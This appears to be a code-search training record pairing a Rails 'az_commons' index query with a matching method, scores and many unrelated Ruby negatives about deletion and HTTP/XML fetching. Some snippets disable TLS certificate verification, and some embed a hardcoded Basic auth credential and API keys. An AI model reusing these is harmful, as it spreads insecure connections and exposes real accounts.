"def destroy\n\tif(user_signed_in? && (current_user.id == @game.creator_id || current_user.is_admin))\n\t @n = @game.user_games.count\n\t @game.destroy\n\t respond_to do |format|\n\t format.html { redirect_to games_url }\n\t format.json { head :no_content }\n\t end\n\tend\n end",
"def close!\n live_queries = @volt_app.channel_live_queries[@channel]\n\n if live_queries\n live_queries.each do |live_query|\n live_query.remove_channel(@channel)\n end\n end\n\n @volt_app.channel_live_queries.delete(@channel)\n end",
"def destroy\n @board_game.destroy\n respond_to do |format|\n format.html { redirect_to board_games_url, notice: \"Board game was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy_simple_game\n Zone.destroy_all\n ZoneHolder.destroy_all\n User.destroy_all\n Team.destroy_all\n Task.destroy_all\n Hint.destroy_all\n Code.destroy_all\n CodeString.destroy_all\n TeamCode.destroy_all\n TeamHint.destroy_all\n Log.destroy_all\n Game.destroy_all\nend",
"def destroy\n @game.destroy\n flash[:success] = \"Du hast #{@game.name} erfolgreich gelöscht.\"\n redirect_to admin_games_path\n end",
"def destroy\n @conversation.destroy\n\n head :no_content\n end",
"def destroy\n @conversation.destroy\n\n head :no_content\n end",
"def remove_channel( channel )\n @channel_map.delete channel.local_id\n end",
"def destroy\n @championship.destroy\n end",
"def destroy\n unless @game.divisions.empty?\n redirect_to admin_games_url,\n notice: t('notice.delete_canceled',{model: \"#{t('activerecord.models.admin/game')}\", relation: \"#{t('activerecord.models.admin/division')}\"})\n else\n @game.destroy\n redirect_to admin_games_url, notice: t('notice.deleted',{model: \"#{t('activerecord.models.admin/game')}\"})\n end\n end",
"def part(channel)\n if channel.is_a?(Channel)\n @channels.delete(channel)\n else\n @channels.delete(Channel.find(channel))\n end\n end",
"def destroy\n # @game.rounds.destroy_all\n # raise @game.inspect\n @game.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(reason = nil)\n API::Channel.delete(@bot.token, @id, reason)\n end",
"def destroy\n game = @goal.game\n @goal.destroy\n respond_to do |format|\n format.html { redirect_to game_path(game) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game = Game.get(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :ok }\n end\n end",
"def destroy\n if @mini_game.destroy\n render json: @mini_game, status: :ok\n else\n render json: @mini_game, status: :unprocessable_entity\n end\n end",
"def remove_actor(actor_id)\r\n # アクターを削除\r\n @actors.delete($game_actors[actor_id])\r\n # プレイヤーをリフレッシュ\r\n $game_player.refresh\r\n end",
"def destroy\n game = @round.game\n @round.destroy\n redirect_to edit_game_path(game), notice: 'Round was successfully destroyed.'\n end",
"def kill_player(player)\n @enemies.delete_at(player)\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n end\n end",
"def destroy\n @channel.destroy\n respond_to do |format|\n format.html { redirect_to channels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to theme_games_url(@theme) }\n format.xml { head :ok }\n end\n end",
"def clear\n channels = @channels.dup\n @channels.clear\n channels\n end",
"def eliminar\n @bot.palabras.destroy_all\n @bot.botCiudads.destroy_all\n @bot.tweets.destroy_all\n @bot.destroy\n redirect_to(bot_path, :notice => \"Bot Eliminado\")\n end",
"def destroy\n @player.destroy\n\n head :no_content\n end"
] |
[
"0.76571417",
"0.7488021",
"0.7488021",
"0.70198894",
"0.6971595",
"0.68607944",
"0.68112344",
"0.6799116",
"0.6789865",
"0.6679612",
"0.65322596",
"0.6526817",
"0.65182793",
"0.65057564",
"0.64897335",
"0.64824367",
"0.64490056",
"0.6448674",
"0.64102656",
"0.64076614",
"0.63834",
"0.6373416",
"0.63639665",
"0.63165325",
"0.62665313",
"0.6260156",
"0.625186",
"0.623177",
"0.62190884",
"0.6200491",
"0.6192752",
"0.6190186",
"0.61870605",
"0.617742",
"0.6167005",
"0.6164149",
"0.61314887",
"0.6108915",
"0.6105368",
"0.60956645",
"0.6081595",
"0.6075818",
"0.6074736",
"0.6050835",
"0.60394907",
"0.6036503",
"0.6034157",
"0.60318035",
"0.60315144",
"0.6029277",
"0.602674",
"0.6022288",
"0.6018389",
"0.6009982",
"0.6009706",
"0.60093147",
"0.60067433",
"0.60058904",
"0.5993619",
"0.5980198",
"0.59775156",
"0.59767216",
"0.5973059",
"0.5969595",
"0.596668",
"0.5965216",
"0.5962203",
"0.5960862",
"0.59576494",
"0.59561497",
"0.59422785",
"0.5938563",
"0.59289",
"0.592559",
"0.591678",
"0.5912661",
"0.5912627",
"0.5912433",
"0.5911377",
"0.5905189",
"0.5903914",
"0.5903914",
"0.58899325",
"0.5886298",
"0.58812237",
"0.58781624",
"0.5870745",
"0.58642876",
"0.58622116",
"0.58617795",
"0.5858554",
"0.5857247",
"0.5851536",
"0.5844924",
"0.58422804",
"0.58397204",
"0.5838628",
"0.583854",
"0.5837909",
"0.5837621"
] |
0.7840634
|
0
|
GET /az_commons GET /az_commons.xml
|
def index_user
@commons_class = get_class(params)
@my_companies = current_user.my_works
@commons = @commons_class.get_by_companies(@my_companies)
@title = @commons_class.get_label
respond_to do |format|
format.html { render :template => 'az_commons/index_user'}
#format.xml { render :xml => @az_commons }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end",
"def rest_get(uri)\n \n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n return doc\n \n end\n \nend",
"def pacscl_xml\n document = Blacklight.default_index.search(q: \"id:#{params[:id]}\")&.dig(\"response\", \"docs\")&.first\n document = SolrDocument.new(document)\n document.suppress_xml_containers!\n respond_to do |format|\n format.xml do\n render xml: document.export_as_xml\n end\n end\n end",
"def fetch_xml(uri)\n http = Net::HTTP.new(uri.host, uri.port)\n\n if uri.scheme == 'https'\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n http.read_timeout = GoogleCustomSearch.configuration.timeout\n\n request = Net::HTTP::Get.new(uri.request_uri)\n request.initialize_http_header({ 'User-Agent' => user_agent })\n\n response = http.request(request)\n\n raise GoogleCustomSearch::InvalidRequest if response.code.match(/[34]\\d{2}/)\n raise GoogleCustomSearch::ServerError if response.code.match(/5\\d{2}/)\n\n response.body\n end",
"def api_xml(path,method=:get,options={})\n xml_message(amee,\"/data\"+path,method,options)\n end",
"def path\n \"/onca/xml\"\n end",
"def query(action, hash = {})\n # uri = URI.parse(\"https://130.59.10.31\")\n # http = Net::HTTP.new(uri.host, uri.port)\n # http.use_ssl = true\n # http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n #\n # request = Net::HTTP::Get.new(uri.request_uri)\n #\n # response = http.request(request)\n # response.body\n # response.status\n # response[\"header-here\"] # All headers are lowercase\n uri = URI.parse(@url + \"/api/xml?action=#{action}\")\n hash.each_pair do |key, val|\n if val\n if key == \"filter\" or key == \"sort\"\n uri.query += val.query\n else\n uri.query += \"&\" + key + \"=\" + CGI::escape(\"#{val}\")\n end\n end\n end\n http = Net::HTTP.new(uri.host, uri.port)\n if uri.scheme == \"https\"\n http.use_ssl=true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n request = Net::HTTP::Get.new(uri.request_uri)\n # logger = Logger.new('log/development.log')\n # logger.info(url.path + \"?\" + url.query)\n if @sessionid\n request.add_field(\"Cookie\", \"BREEZESESSION=\"+@sessionid)\n end\n puts \"ACS query - request: \" + request.path\n response = http.request(request)\n puts \"ACS query - response: \" + response.body.inspect\n return response\n end",
"def get_categories\n body = build_request(2935, 1501, \"ACTIVEHEADINGS\")\n response = send_to_localeze(body)\n xml_doc = respond_with_hash(Nokogiri::XML(response.to_xml).text)\n end",
"def catalogs\n path = \"#{api_root}/index/catalogs\"\n process_api_request(:get, path)\n end",
"def get_xml(url, options = {})\n\t\t\t\n\t\t\t# better way of doing this?\n\t\t\t# Map custom keys to the HTTP request values\n\t\t\treqs = {\n\t\t\t\t:character_name => 'n',\n\t\t\t\t:realm => 'r',\n\t\t\t\t:search => 'searchQuery',\n\t\t\t\t:type => 'searchType',\n\t\t\t\t:guild_name => 'n',\n\t\t\t\t:item_id => 'i',\n\t\t\t\t:team_size => 'ts',\n\t\t\t\t:team_name => 't',\n\t\t\t\t:group => 'group'\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tparams = []\n\t\t\toptions.each do |key, value|\n\t\t\t\tparams << \"#{reqs[key]}=#{u(value)}\" if reqs[key]\n\t\t\tend\n\t\t\t\n\t\t\tquery = '?' + params.join('&') if params.size > 0\n\t\t\t\n\t\t\tbase = self.base_url(options[:locale], options)\n\t\t\tfull_query = base + url + query\n\t\t\t\n\t\t\tputs full_query if options[:debug]\n\t\t\t\n\t\t\tif options[:caching]\n\t\t\t\tresponse = get_cache(full_query, options)\n\t\t\telse\n\t\t\t\tresponse = http_request(full_query, options)\n\t\t\tend\n\t\t\t\t\t\t\n\t\t\tdoc = Hpricot.XML(response)\n\t\t\terrors = doc.search(\"*[@errCode]\")\n\t\t\tif errors.size > 0\nbegin\n\t\t\t\terrors.each do |error|\n\t\t\t\t\traise Wowr::Exceptions::raise_me(error[:errCode], options)\n\t\t\t\tend\nrescue\nend\n\t\t\telsif (doc%'page').nil?\n\t\t\t\traise Wowr::Exceptions::EmptyPage\n\t\t\telse\n\t\t\t\treturn (doc%'page')\n\t\t\tend\n\t\tend",
"def get_listings_xml(url)\n @client.get_content(url)\n end",
"def get_xml(params = {:format => :xml, :action => :query})#TODO put these in so that they're default and not lost when we pass stuff in...\n url = _form_url(params)\n \n #TODO wonder if I should make a generic library for external url requests, to standardize the header/etc?\n #requests without user-agents are refused. See:\n #http://www.mooduino.co.uk/2010/04/wikipedia-api-user-agent-string-in-php.html\n retries = 2\n begin\n http = Net::HTTP.new(WIKI_API_SERVER) #en.wikipedia.org\n resp = http.request_get(WIKI_API_PATH + url, 'User-Agent' => 'WikipediaAntiSpamBot/0.1 (+hincapie.cis.upenn.edu)')\n \n raise \"POST FAILED:\" + resp.inspect unless resp.is_a? Net::HTTPOK or resp.is_a? Net::HTTPFound\n #retry if resp.body.to_s.empty?\n resp.body\n rescue Net::HTTPBadResponse, Errno::ECONNRESET, Errno::ETIMEDOUT, Errno::ECONNREFUSED, SocketError, \n Timeout::Error, Errno::EINVAL, EOFError, Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n if retries > 0\n retries -= 1\n retry\n else\n raise Exception.new(\"Connection timed out after more than 3 retries: #{e}\")\n end\n end\nend",
"def get(path='', filter=nil)\n # remove the leading slash\n path = path.gsub(/\\A\\//, '')\n\n response = if filter\n categories = filter.categories.collect { |category| category.to_text }.join(',')\n attributes = filter.entities.collect { |entity| entity.attributes.combine.collect { |k, v| k + '=' + v } }.join(',')\n\n headers = self.class.headers.clone\n headers['Content-Type'] = 'text/occi'\n headers['Category'] = categories unless categories.empty?\n headers['X-OCCI-Attributes'] = attributes unless attributes.empty?\n\n self.class.get(@endpoint + path, :headers => headers)\n else\n self.class.get(@endpoint + path)\n end\n\n response_msg = response_message response\n raise \"HTTP GET failed! #{response_msg}\" unless response.code.between? 200, 300\n\n Occi::Log.debug \"Response location: #{('/' + path).match(/\\/.*\\//).to_s}\"\n kind = @model.get_by_location(('/' + path).match(/\\/.*\\//).to_s) if @model\n\n Occi::Log.debug \"Response kind: #{kind}\"\n\n if kind\n kind.related_to? Occi::Core::Resource ? entity_type = Occi::Core::Resource : entity_type = nil\n entity_type = Occi::Core::Link if kind.related_to? Occi::Core::Link\n end\n\n Occi::Log.debug \"Parser call: #{response.content_type} #{entity_type} #{path.include?('-/')}\"\n collection = Occi::Parser.parse(response.content_type, response.body, path.include?('-/'), entity_type, response.headers)\n\n Occi::Log.debug \"Parsed collection: empty? #{collection.empty?}\"\n collection\n end",
"def _api_call(method, args)\r\n uri = _uri(method, args)\r\n response = XmlSimple.xml_in(_http_get(uri))\r\n end",
"def get_xml(url)\n Nokogiri::XML.parse(get(url), nil, nil, Nokogiri::XML::ParseOptions::STRICT)\n end",
"def get_xml(url, options = {})\n\t\t\tresponse = get_file(url, options)\n\t\t\tdoc = Hpricot.XML(response)\n\t\t\terrors = doc.search(\"*[@errCode]\")\n\t\t\tif errors.size > 0\n\t\t\t\terrors.each do |error|\n\t\t\t\t\traise Wowr::Exceptions::raise_me(error[:errCode], options)\n\t\t\t\tend\n\n elsif (doc%'achievements')\n\t\t\t return doc\n\t\t\telsif (doc%'dungeons')\n\t\t\t\treturn doc\n\t\t\telsif (doc%'page').nil?\n\t\t\t\traise Wowr::Exceptions::EmptyPage\n\t\t\telse\n\t\t\t\treturn (doc%'page')\n\t\t\tend\n\t\tend",
"def get(path='', filter=nil)\n # remove the leading slash\n path = path.gsub(/\\A\\//, '')\n\n response = if filter\n categories = filter.categories.collect { |category| category.to_text }.join(',')\n attributes = filter.entities.collect { |entity| entity.attributes.combine.collect { |k, v| k + '=' + v } }.join(',')\n\n headers = self.class.headers.clone\n headers['Content-Type'] = 'text/occi'\n headers['Category'] = categories unless categories.empty?\n headers['X-OCCI-Attributes'] = attributes unless attributes.empty?\n\n self.class.get(@endpoint + path, :headers => headers)\n else\n self.class.get(@endpoint + path)\n end\n\n response_msg = response_message response\n raise \"HTTP GET failed! #{response_msg}\" unless response.code.between? 200, 300\n\n Occi::Log.debug \"Response location: #{('/' + path).match(/\\/.*\\//).to_s}\"\n kind = @model.get_by_location(('/' + path).match(/\\/.*\\//).to_s) if @model\n\n Occi::Log.debug \"Response kind: #{kind}\"\n\n if kind\n kind.related_to? Occi::Core::Resource ? entity_type = Occi::Core::Resource : entity_type = nil\n entity_type = Occi::Core::Link if kind.related_to? Occi::Core::Link\n end\n\n entity_type = Occi::Core::Resource unless entity_type\n\n Occi::Log.debug \"Parser call: #{response.content_type} #{path.include?('-/')} #{entity_type} #{response.headers.inspect}\"\n collection = Occi::Parser.parse(response.content_type, response.body, path.include?('-/'), entity_type, response.headers)\n\n Occi::Log.debug \"Parsed collection: empty? #{collection.empty?}\"\n collection\n end",
"def get_channnel_xml( url )\n path = url.sub(/http:\\/\\/gdata\\.youtube\\.com/,'')\n xml = \"\"\n\n Net::HTTP.version_1_2\n Net::HTTP.start(\"#{@url}\", \"#{@port}\") do |http|\n response = http.get(\"/#{path}\")\n xml = response.body\n end\n\n return xml\n end",
"def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end",
"def xml(options = {})\n http = Net::HTTP.new(Picasa.host, 443)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n path = Picasa.path(options)\n response = http.get(path, auth_header)\n if response.code =~ /20[01]/\n response.body\n elsif response.code.to_i == 403\n raise RubyPicasa::PicasaError, \"Authentication failed. You may need to refresh your access token.\"\n end\n end",
"def basic_data_xml\n headers[\"content-type\"]=\"text/html\";\n end",
"def api_call(url_string)\n uri = URI.parse(url_string)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new(uri.request_uri)\n http.read_timeout = get_param(:timeout)\n #todo use JSON calls where available vs xml\n if get_param(:action_name)=='ADMIN'\n xstring = Nokogiri::XML(open(url_string))\n else\n response = http.request(request)\n puts \"Response: #{response.code} #{response.message} #{response.class.name}\"\n puts \"#{request}\"\n end\n end",
"def index\n @csos = Cso.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @csos }\n end\n end",
"def request(uris_data)\r\n\r\n #Setup output array\r\n xmlNodes = Array.new\r\n responses = request_raw(uris_data)\r\n \r\n responses.each do |response|\r\n if (response.code == \"200\")\r\n response.body.empty? ? (xmlNodes << XmlNode.new(\"Empty\")) : xmlNodes << XmlNode.parse(response.body)\r\n else\r\n xmlnode = XmlNode.new(\"error\")\r\n xmlnode.put_node('code', response.code) #put status code as xmlnode\r\n xmlnode.put_node('msg', response.body)\r\n xmlNodes << xmlnode\r\n end\r\n end\r\n return xmlNodes\r\n end",
"def request_xml(scope, name, opts, cache_only = false)\n opts = EAAL.additional_request_parameters.merge(opts)\n xml = EAAL.cache.load(self.keyid, self.vcode, scope, name,opts)\n\n if (not xml) && (not cache_only)\n \n conn = Faraday.new(:url => \"#{EAAL.api_base}\") do |faraday|\n faraday.request :url_encoded\n faraday.adapter Faraday.default_adapter\n end\n\n response = conn.get(\n request_path(name), \n opts.merge({\n :keyid => self.keyid,\n :vcode => self.vcode}))\n \n case response.status\n when 200\n # Nothing\n when 404\n raise EAAL::Exception::APINotFoundError.new(\"The requested API (#{scope} / #{name}) could not be found.\")\n else\n if response.body\n doc = Hpricot.XML(response.body)\n result = EAAL::Result.new(scope.capitalize + name, doc)\n else\n raise EAAL::Exception::HTTPError.new(response.status), \"An HTTP Error occurred, body: #{response.body}\"\n end\n end\n\n EAAL.cache.save(self.keyid, self.vcode, scope,name,opts, response.body)\n xml = response.body\n end\n\n if xml\n doc = Hpricot.XML(xml)\n result = EAAL::Result.new(scope.capitalize + name, doc)\n else \n result = nil\n end\n end",
"def index\n @sys_configs = @system.sys_configs.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @sys_configs.to_xml }\n end\n end",
"def get_results\n begin\n results = Nokogiri::XML(open(URI.encode(@request.full)))\n rescue SystemCallError, EOFError\n retry\n end\n # puts results\n parse results, :query => @request.q\n end",
"def http_get_early(request, response)\n params = request.query_parameters\n return http_get(request, response) if params['sabreAction'] == 'info'\n end",
"def read(id=nil)\r\n request = Net::HTTP.new(@uri.host, @uri.port)\r\n if id.nil?\r\n response = request.get(\"#{@uri.path}.xml\") \r\n else\r\n response = request.get(\"#{@uri.path}/#{id}.xml\") \r\n end\r\n response.body\r\n end",
"def index\n @pages = @comic.pages\n \n respond_to do |format|\n format.html\n format.xml\n end\n end",
"def index\n @components_front_levers = Components::FrontLever.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @components_front_levers }\n end\n end",
"def opensearch\n respond_to do |format|\n format.xml do\n render :layout => false\n end\n format.json do\n render :json => get_opensearch_response\n end\n end\n end",
"def get_sites(container_types)\n @response = client.request :con, :get_content_services_by_container_type5 do\n soap.element_form_default = :unqualified \n soap.namespaces[\"xmlns:login\"] = 'http://login.ext.soap.yodlee.com'\n \n soap.body = {\n :cobrand_context => cobrand_context,\n :container_types => {\n :elements => container_types\n },\n :req_specifier => 16 # grab login forms\n }\n end\n \n @sites = @response.to_xml\n response_xml = @response.to_xml\n parse_response(response_xml)\n end",
"def download\n # headers for streaming suggested by:\n # https://coderwall.com/p/kad56a/streaming-large-data-responses-with-rails\n # and\n # https://github.com/felixbuenemann/xlsxtream/issues/14\n response.headers.delete(\"Content-Length\") # See one line above\n response.headers['X-Accel-Buffering'] = 'no' # Stop NGINX from buffering\n response.headers['Cache-Control'] = 'no-cache'\n \n # Headers for browser-handling\n response.headers['Content-Type'] = 'application/marcxml+xml'\n response.headers['Content-Disposition'] = \"attachment; filename=#{download_filename('xml')}\" \n \n # Setup Blacklight / Solr params\n params['page'] = 1\n params['rows'] = 100\n # params['fl'] = 'id,marc_display'\n params['source'] = active_source\n\n extra_params = {\n 'fl' => 'id,marc_display',\n 'sort' => 'id asc',\n 'stats' => false,\n 'facet' => false,\n }\n \n # Stream response\n stream = response.stream\n\n begin\n # XML Header - MARC XML collection open tag\n stream.write marcxml_header\n\n total = 0\n hits = params['rows']\n while hits >= params['rows'] && total < 10_000\n # # CLIO-level query\n # # search_engine = blacklight_search(params.to_unsafe_h)\n # # hits = search_engine.documents.count\n # # search_engine = blacklight_search(params.to_unsafe_h)\n # # hits = search_engine.documents.count\n # # total += hits\n # \n # # Blacklight-level query\n # # - doesn't include marc_display\n # # - doesn't allow over-riding 'fl' param\n # # search, documents = search_results(params)\n # # hits = documents.count\n # \n # # unapproved lower-level querying..\n # # builder = search_builder.with(params)\n # # builder.page = 1\n # # builder.rows = 1000\n # # response = repository.search(builder)\n \n # Need to use lower-level \"search_builder\", so that we \n # can override 'fl' param, to include marc_display\n query = search_builder.with(params).merge(extra_params)\n solr_response = repository.search(query)\n \n hits = solr_response.documents.count\n total += hits\n\n solr_response.documents.each do |solr_doc|\n # stream.write solr_doc['marc_display']\n # pretty-print - does this make reporting too slow?\n stream.write solr_doc['marc_display'].\n gsub(/<leader/, \"\\n <leader\").\n gsub(/<controlfield/, \"\\n <controlfield\").\n gsub(/<datafield/, \"\\n <datafield\").\n gsub(/<\\/datafield/, \"\\n </datafield\").\n gsub(/<subfield/, \"\\n <subfield\").\n gsub(/<\\/record/, \"\\n</record\")\n stream.write \"\\n\"\n end\n\n # increment page\n # extra_params['page'] = (extra_params['page'].to_i + 1).to_s\n params['page'] = (params['page'].to_i + 1).to_s\n end\n\n # close collection tag\n stream.write marcxml_footer\n\n ensure\n stream.close\n end\n \n end",
"def getXMLTicket(path)\n resp2 = @@conn.get do |req|\n req.url path\n req.headers['Authorization'] = 'Basic aHIuc2VsbGVydEBnbWFpbC5jb206c2VzMTEy' #@TODO make this a param\n req.headers['Content-Type'] = 'application/xml'\n end\n # puts \"Responce : \" + resp2['body'].inspect\n # puts \"Responce2 : \" + resp2.body.to_s()\n \n return resp2.body.to_s()\n end",
"def index\n ## BUILD MASTER HASH WITH ALL SUB-PARAMS ##\n allparams = {}\n allparams[:mainmodel] = NodeRack\n allparams[:webparams] = params\n results = Search.new(allparams).search\n\n flash[:error] = results[:errors].join('<br />') unless results[:errors].empty?\n includes = results[:includes]\n results[:requested_includes].each_pair{|k,v| includes[k] = v}\n @objects = results[:search_results]\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @objects.to_xml(:include => convert_includes(includes),\n :dasherize => false) }\n end\n end",
"def index\n @cst_icms = CstIcm.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @cst_icms }\n end\n end",
"def index\n @az_operations = AzOperation.all\n @title = 'Операции'\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @az_operations }\n end\n end",
"def index\n ## BUILD MASTER HASH WITH ALL SUB-PARAMS ##\n allparams = {}\n allparams[:mainmodel] = NodeRackNodeAssignment\n allparams[:webparams] = params\n results = Search.new(allparams).search\n\n flash[:error] = results[:errors].join('<br />') unless results[:errors].empty?\n includes = results[:includes]\n results[:requested_includes].each_pair{|k,v| includes[k] = v}\n @objects = results[:search_results]\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @objects.to_xml(:dasherize => false) }\n end\n end",
"def disp_xml_rq\n body= File.open(\"public/OTA/OTA_HotelAvailRQ100.xml\").read\n render :xml => body\n end",
"def index\n @az_page_types = AzPageType.find_all_page_types\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @az_page_types }\n end\n end",
"def info\n CouchRest.get \"#{@uri}/\"\n end",
"def index\n @labs = @course.labs.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @labs }\n end\n end",
"def serveOAI\n content_type 'text/xml;charset=utf-8'\n provider = EscholProvider.new\n provider.process_request(params)\n end",
"def dummy_data_fuse_response_xml\n path=\"#{Rails.root}/test/data_fuse_example.xml\"\n File.open(path, \"rb\").read\n end",
"def index\n @requests = Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @requests }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @chronopay_links }\n end\n end",
"def index\n @servers = Server.beating\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @servers }\n end\n end",
"def get(url); end",
"def xml_http_request?; end",
"def index\n @station = Station.find(params[:station_id])\n\t\t@acs = @station.acs\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @acs }\n end\n end",
"def get_substrates()\n\tputs \"Getting list of substrates.\"\n\tresponse = request_get('/api/partner/substrate')\n\tputs response.body\nend",
"def render_get_all\n respond_to do |wants| \n wants.html {render :to_xml => 'GETALL.xml.builder', :layout => false}\n wants.json {render :to_json => 'GETALL.xml.builder'}\n wants.xml {render :to_xml => 'GETALL.xml.builder', :layout => false}\n wants.yaml {render :to_yaml => 'GETALL.xml.builder'}\n end \n end",
"def index\n @criancas = Crianca.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @criancas }\n end\n end",
"def index\n @estatus = Estatu.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @estatus }\n end\n end",
"def get(options = {})\n @response_xml = options[:cache_file] ? File.read(options[:cache_file]) : http_get(options)\n response = Response.parse(response_xml, options) do | inner_response, elements |\n parse_reports(inner_response, elements)\n end\n response.response_items.first # there is is only one\n end",
"def xml(path, params = {}, env = {}, &block)\n params = {:api_key => '5c87948ac1979401'}.merge params\n xml = LibXML::XML::Parser.string(get(path + '.xml', params, env).body).parse\n if error = xml.find('/error').first\n message = error.find_first('message')\n puts\n puts \"Server Error: #{message.content}\"\n backtrace = error.find_first('backtrace')\n puts backtrace.content\n exit!\n end\n if block_given?\n yield xml\n else\n xml\n end\n end",
"def index\n @node = Fedora.rest('rest/')\n end",
"def get_xml_from_api(uri, query)\n resp = HTTParty.get(uri, query: query, headers: request_headers)\n # If we received anything but a 200 then log an error and return an empty array\n raise \"Unable to connect to connect to - #{@pubmed_api}?#{query}: status: #{resp.code}\" if resp.code != 200\n # Return an empty array if the response did not have any results\n return nil if resp.code != 200 || resp.blank?\n\n resp.body\n end",
"def index\n @service_versions = ServiceVersion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @service_versions }\n end\n end",
"def fetch_bart_stations\n bart_url = 'http://bart.gov/dev/eta/bart_eta.xml'\n\n xml_data = Net::HTTP.get_response(URI.parse(bart_url)).body\n xml_doc = REXML::Document.new(xml_data)\n\n stations = xml_doc.records('station')\n stations.each_with_index do |station, index|\n etas = xml_doc.records(\"//station[#{index}]/eta\")\n stations[index].merge!({ \"eta\" => etas })\n end\n \n return stations\nend",
"def index\r\n @catalogs = @node_structure.bank_node_catalogs#.page(params[:page]).per(params[:row])\r\n @catalogs_options = @node_structure.bank_node_catalogs.map{|item| {\"rid\" => item.rid}}.sort{|a,b| Common::CheckpointCkp.compare_rid_plus(a[\"rid\"], b[\"rid\"]) }\r\n # @catalogs.each_with_index{|item, index|\r\n # rid = item.rid.nil?? \"\":item.rid\r\n # re =Regexp.new(\".{#{Common::SwtkConstants::CkpStep}}\")\r\n # rid_arr = rid.scan(re)\r\n # section_arr = rid_arr#.map{|item| item.gsub!(/(^0*)|(0*$)/,'')}\r\n # attr_h = item.attributes\r\n # attr_h[\"section\"] = section_arr.join(\".\")\r\n # @catalogs[index] = attr_h#OpenStruct.new(attr_h)\r\n # }\r\n total_count = @catalogs.count\r\n @catalogs = Kaminari.paginate_array(@catalogs.sort{|a,b| Common::CheckpointCkp.compare_rid_plus(a.rid, b.rid) }).page(params[:page]).per(params[:rows])\r\n respond_with({rows: @catalogs, total: total_count})\r\n end",
"def request(method, path, params = nil)\n requestParam = params.nil? ? '' : '&' + params\n response = self.client.send_request(method, path, self.common_param + requestParam)\n REXML::Document.new(response.body)\n end",
"def index \n#http://libserver3.yale.edu:3000/auth?oid=10590515&type=jpg150&ip=130.132.80.210\n#http://lbdev.library.yale.edu/xml_accesscondition.aspx?a=s_lib_ladybird&b=E8F3FF02-A65A-4A20-B7B1-A9E35969A0B7&c=10590515'\n oid = params[:oid] || \"\"\n\ttype = params[:type] || \"\"\n\tip = params[:ip] || \"\"\n\tnetid = params[:netid] || \"\"\n\t\n\tif oid==\"\" || type==\"\" || ip==\"\"\n\t\trender :text => \"missing parameters - oid:\"+oid+\" type:\"+type+\" ip:\"+ip\n\t\treturn\n end \n\tbase_url = 'http://lbdev.library.yale.edu/xml_accesscondition.aspx?'\n\tparam_a = 'a=s_lib_ladybird'\n\tparam_b = 'b=E8F3FF02-A65A-4A20-B7B1-A9E35969A0B7'\n\tparam_c = 'c=' + oid\n\tfull_url = base_url+param_a+\"&\"+param_b+\"&\"+param_c\n\tlogger.info full_url\n doc = Nokogiri::XML(open(full_url))\n\trule = doc.xpath(\"//schema//object//rule[@type='\"+type+\"']//@code\")\n\tlogger.info rule.to_s\n\treturn_msg = \"default\"\n\tif rule.to_s == \"Yale Only\"\n\t\tif ip_check(ip) == true\n\t\t\treturn_msg = \"authorized\"\n\t\telse\n\t\t\t#if cas netid ok then return_msg = \"authorized\"\n\t\t\t#elsf no cas netid then return_msg = \"try cas\"\n\t\t\t#else unauthorized\n\t\t\tif netid.size == 0\n\t\t\t\treturn_msg = \"unauthorized\"\n\t\t\telse\n\t\t\t\treturn_msg = \"authorized\"\n\t\t\tend\n\t\tend \n\tend\n\tif rule.to_s == \"AD Group Restriction\"\n\t\tgroup = doc.xpath(\"//schema//object//rule[@type='\"+type+\"']//value\")\n\t\treturn_msg = group.to_s\t\n\tend\n\t#TODO other rules here\n\n\t#logger.info \"IP:\"+ip\n\t#logger.info ip_check(ip)\n logger.info \"Host:\"+ request.host_with_port\t\n\trender :text => return_msg\n\treturn\n end",
"def opensearch\n respond_to do |format|\n format.xml do\n render :layout => false\n end\n format.json do\n render :json => get_opensearch_response\n end\n end\n end",
